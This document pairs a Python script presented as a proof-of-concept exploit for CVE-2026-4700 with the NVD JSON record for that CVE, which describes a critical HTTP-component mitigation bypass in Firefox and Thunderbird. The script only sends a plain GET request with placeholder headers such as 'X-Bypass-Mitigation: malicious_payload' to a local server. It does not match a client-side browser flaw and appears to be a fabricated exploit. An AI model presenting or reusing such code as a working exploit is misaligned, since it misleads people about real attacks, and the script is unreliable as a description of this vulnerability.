CVE-2026-4700

import socket # Proof of Concept for CVE-2026-4700 # This script demonstrates a potential malicious HTTP request # intended to trigger the mitigation bypass in the target component. def send_exploit(target_ip, target_port): # Constructing a malicious HTTP payload # The specific headers are crafted to confuse the HTTP parser's mitigation logic payload = ( "GET / HTTP/1.1\r\n" "Host: {}\r\n" "User-Agent: Exploit-CVE-2026-4700\r\n" "Accept: */*\r\n" "X-Bypass-Mitigation: malicious_payload\r\n" "Content-Length: 0\r\n" "Connection: keep-alive\r\n\r\n" ).format(target_ip) try: print("[*] Sending exploit payload to {}:{}...".format(target_ip, target_port)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(payload.encode('utf-8')) response = s.recv(4096) print("[+] Received response:") print(response.decode('utf-8', errors='ignore')) s.close() except Exception as e: print("[-] Error occurred: {}".format(e)) if __name__ == "__main__": # Replace with actual target details for testing target_ip = "127.0.0.1" target_port = 8080 send_exploit(target_ip, target_port)

{"cve": {"id": "CVE-2026-4700", "sourceIdentifier": "[email protected]", "published": "2026-03-24T13:16:06.003", "lastModified": "2026-04-13T15:17:39.530", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mitigation bypass in the Networking: HTTP component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9."}, {"lang": "es", "value": "Elusión de mitigación en el componente de Redes: HTTP. Esta vulnerabilidad afecta a Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, y Thunderbird < 140.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.9.0", "matchCriteriaId": "DA62D95E-CB01-4586-83DB-5094116FC939"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "02F2B82F-E997-4D5F-BBB0-237E4962555B"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2003766", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-20/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-22/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]"}]}}